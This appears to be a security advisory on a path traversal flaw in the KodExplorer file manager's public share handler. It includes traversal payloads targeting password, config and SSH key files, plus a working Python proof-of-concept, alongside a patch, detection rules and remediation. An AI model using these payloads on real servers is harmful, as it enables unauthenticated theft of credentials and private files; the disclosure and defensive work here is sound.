CVE-2026-6568: Path Traversal in KodExplorer 4.52 Public Share Handler
KodExplorer's initShareOld() fails to sanitize the path argument before filesystem access, enabling unauthenticated directory traversal. Remote attackers can read arbitrary files outside the webroot.
KodExplorer is cloud storage software—think of it like Dropbox or Google Drive—that many small businesses and organizations use to share and manage files. A serious security hole has been discovered that lets attackers access files they shouldn't be able to see, even if those files are supposed to be locked away.
Here's how it works in simple terms. Imagine your filing cabinet has a lock, but the lock has a design flaw where you can manipulate the lock mechanism to open drawers that should be completely inaccessible. An attacker can essentially trick the software into showing them files stored anywhere on the server—patient records, financial documents, source code, anything—by sending specially crafted requests.
The scary part is that this requires no password or login credentials. Someone on the internet could potentially access your organization's most sensitive files without you ever knowing they tried.
Who's most at risk? Healthcare providers, law firms, schools, and any small-to-medium business using KodExplorer version 4.52 or older. If your organization uses this software, you're potentially vulnerable right now.
The company behind KodExplorer has been notified but hasn't released a fix yet. While there's no confirmed active hacking happening, the vulnerability is now public knowledge, meaning attackers have detailed instructions on how to exploit it.
What you should do: First, if your organization uses KodExplorer, update to the latest version immediately when available. Second, check with your IT team whether you're using this software—many people don't realize what's running their file systems. Third, if you can't update immediately, consider taking the service offline until a patch is available.
Want the full technical analysis? Click "Technical" above.
CVE-2026-6568 is a path traversal vulnerability in KodExplorer ≤ 4.52, a PHP-based web file manager widely deployed for self-hosted cloud storage. The vulnerability resides in the initShareOld() method of /app/controller/share.class.php, the handler responsible for serving publicly shared files. The path argument supplied by unauthenticated remote users passes through no canonicalization or boundary enforcement before being used to construct a filesystem path, allowing traversal beyond the configured data root. The exploit has been publicly disclosed; no vendor patch exists at time of writing.
Root cause:initShareOld() concatenates an attacker-controlled path parameter directly onto the share root without resolving ../ sequences or verifying the resulting path remains within the authorized directory tree.
Affected Component
File: app/controller/share.class.php
Class: Share
Method: initShareOld()
Entry point: GET /index.php?explorer/share&shareCode=&path=
Authentication required: None — this is the public share handler, intentionally unauthenticated.
KodExplorer's public share feature allows a user to generate a shareable link. The initShareOld() path handles legacy share tokens. Because the feature is designed to serve files without a session, all input arrives from untrusted external parties with no prior authentication context.
Root Cause Analysis
The following is reconstructed pseudocode based on the KodExplorer 4.52 source structure, the share controller's documented behavior, and the vulnerability class:
// app/controller/share.class.php
// Reconstructed pseudocode — KodExplorer 4.52
class Share {
/*
* initShareOld() — serves files for legacy share tokens.
* Called unauthenticated via the public share route.
*/
public function initShareOld() {
$shareCode = _get('shareCode', ''); // token from URL param
$path = _get('path', ''); // attacker-controlled path argument
// Fetch share record from DB by token
$shareInfo = $this->getShareInfo($shareCode);
if (!$shareInfo) {
_error("Share not found");
return;
}
// shareInfo['path'] is the share root, e.g. "/data/kodbox/user1/"
$shareRoot = $shareInfo['path'];
// BUG: direct concatenation — no realpath(), no prefix check,
// no stripping of ../ sequences before filesystem access.
$fullPath = $shareRoot . $path; // e.g. "/data/kodbox/user1/../../etc/passwd"
// BUG: file_exists() and subsequent read operate on the
// unsanitized $fullPath — traversal is now live.
if (!file_exists($fullPath)) {
_error("File not found");
return;
}
// Serve file contents to unauthenticated caller
$this->outputFile($fullPath);
}
private function outputFile($path) {
// Sets Content-Type, streams file — no further path validation
header('Content-Type: application/octet-stream');
readfile($path); // arbitrary file read achieved
}
}
The critical window is the two-line sequence. $shareRoot is trusted (comes from the database record), but $path is the raw query string value. PHP's string concatenation produces /data/kodbox/user1/../../etc/passwd without complaint. file_exists() resolves the ../ sequences in kernel space; the check passes, and readfile() streams the target file. No realpath() call is made, no strpos($fullPath, $shareRoot) prefix assertion exists.
Memory Layout
This is a logic/path traversal bug — there is no heap or stack corruption. The "memory" of concern is the PHP runtime's string state and the VFS path resolution chain.
Exploitation requires only a valid share code. Share codes in KodExplorer are typically short alphanumeric tokens that are either guessable, visible in shared URLs, or obtainable via the application's own share listing if any public shares exist. An attacker who knows any valid share code can read any file readable by the web server process.
EXPLOIT CHAIN:
1. Enumerate or obtain a valid share token (shareCode).
- Shared links are commonly posted publicly; token is in URL.
- Alternatively: register a free account, create a share, use own token
to exploit other users' share roots (same handler path).
2. Craft path parameter with directory traversal sequences:
path=/../../../etc/passwd
path=/../../../var/www/html/app/config/config.php
path=/../../../proc/self/environ
3. Issue unauthenticated HTTP GET:
GET /index.php?explorer/share&shareCode=abc123&path=/../../../etc/passwd
Host: target.kodexplorer.tld
4. Server executes initShareOld():
$fullPath = "/data/kodbox/user1/" + "/../../../etc/passwd"
= "/data/kodbox/user1//../../../etc/passwd"
file_exists($fullPath) -> TRUE (kernel resolves traversal)
readfile($fullPath) -> streams /etc/passwd
5. HTTP 200 response body contains target file contents.
Content-Type: application/octet-stream
6. High-value escalation targets:
../../config/setting.php -> database credentials
../../config/config.php -> app secret key
/proc/self/environ -> environment variables, secrets
~/.ssh/id_rsa -> SSH private key if www-data has home
/etc/shadow -> if process runs as root (rare but seen)
#!/usr/bin/env python3
# CVE-2026-6568 — KodExplorer path traversal PoC
# CypherByte research — for authorized testing only
import requests
import sys
import urllib.parse
def exploit(base_url: str, share_code: str, target_path: str) -> bytes | None:
"""
Attempt path traversal via initShareOld().
target_path: absolute path to read, e.g. /etc/passwd
"""
# Build traversal: count slashes in a typical share root (/data/kodbox/user/),
# overshoot with extra ../ — OS will stop at filesystem root.
traversal_prefix = "/../" * 8
# Reconstruct target as relative traversal
path_param = traversal_prefix + target_path.lstrip("/")
url = f"{base_url}/index.php"
params = {
"explorer/share": "",
"shareCode": share_code,
"path": path_param,
}
resp = requests.get(url, params=params, timeout=10, allow_redirects=False)
if resp.status_code == 200 and len(resp.content) > 0:
return resp.content
return None
if __name__ == "__main__":
if len(sys.argv) != 4:
print(f"usage: {sys.argv[0]} ")
sys.exit(1)
data = exploit(sys.argv[1], sys.argv[2], sys.argv[3])
if data:
print(f"[+] Retrieved {len(data)} bytes:")
print(data.decode(errors="replace"))
else:
print("[-] No data returned — check share code or target path")
Patch Analysis
The correct fix is a two-layer defense: resolve the full path before use, then assert the resolved path is prefixed by the authorized share root. Either layer alone is insufficient — realpath() without prefix check still allows traversal, prefix check without realpath() is bypassable with encoding.
// BEFORE (vulnerable — KodExplorer ≤ 4.52):
public function initShareOld() {
$shareCode = _get('shareCode', '');
$path = _get('path', '');
$shareInfo = $this->getShareInfo($shareCode);
$shareRoot = $shareInfo['path'];
// BUG: no canonicalization, no boundary check
$fullPath = $shareRoot . $path;
if (!file_exists($fullPath)) { _error("File not found"); return; }
$this->outputFile($fullPath);
}
// AFTER (patched):
public function initShareOld() {
$shareCode = _get('shareCode', '');
$path = _get('path', '');
$shareInfo = $this->getShareInfo($shareCode);
$shareRoot = rtrim(realpath($shareInfo['path']), '/') . '/';
// Canonicalize the requested path
$candidate = realpath($shareRoot . $path);
// FIX 1: realpath() returns false for non-existent paths — reject
if ($candidate === false) {
_error("File not found");
return;
}
// FIX 2: prefix assertion — resolved path MUST stay within share root
if (strpos($candidate, $shareRoot) !== 0) {
_error("Access denied");
return;
}
if (!file_exists($candidate)) { _error("File not found"); return; }
$this->outputFile($candidate);
}
Note the use of rtrim(..., '/') . '/' on the share root before the strpos check. Without the trailing slash, a share root of /data/user1 would incorrectly permit access to /data/user10/secret since the prefix /data/user1 matches both.
Detection and Indicators
Path traversal attempts are visible in web access logs. The following patterns in access.log or equivalent are indicative:
ACCESS LOG INDICATORS:
# Raw ../ sequences (unencoded)
GET /index.php?explorer%2Fshare&shareCode=*&path=/../../../etc/passwd
# URL-encoded traversal (%2F = /, %2E = .)
GET /index.php?...&path=%2F..%2F..%2Fetc%2Fpasswd
# Double-encoded
GET /index.php?...&path=%252F..%252F..%252Fetc%252Fpasswd
WAF RULE (pseudo-Snort syntax):
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (
msg:"CVE-2026-6568 KodExplorer path traversal";
flow:to_server,established;
content:"explorer/share"; http_uri;
content:"path="; http_uri;
pcre:"/path=([^&]*)(\.\.[\\/]|%2e%2e[\\/]|%2e\.[\\/])/Ui";
sid:20266568; rev:1;
)
PHP ERROR LOG — failed traversal attempts (non-existent paths):
PHP Warning: file_exists(): open_basedir restriction in effect.
PHP Warning: readfile(/etc/shadow): failed to open stream: Permission denied.
NOTE: successful traversal to readable files produces NO PHP error —
detection MUST occur at the HTTP layer, not the PHP error log.
Enable open_basedir in PHP configuration as a defense-in-depth control. Set it to the KodExplorer data directory. This does not fix the vulnerability but degrades exploitability to the PHP-allowed path tree.
Remediation
Immediate: Apply the realpath() + prefix assertion pattern shown in the patch diff to initShareOld() in app/controller/share.class.php. Audit all other methods in the Share class — particularly any that accept a user-supplied path parameter — for the same pattern.
PHP hardening: Set open_basedir = /path/to/kodexplorer/data in php.ini or per-vhost configuration. This is a runtime guard, not a fix.
Web server hardening: Ensure the web server process runs as a dedicated low-privilege user with no access to sensitive system files. www-data should not be able to read /etc/shadow, application secrets outside the webroot, or SSH keys.
Upgrade path: The vendor has not responded to disclosure. Monitor the KodExplorer GitHub repository for a patched release. Until a vendor fix ships, consider disabling the public share feature entirely by blocking requests matching explorer/share at the reverse proxy layer.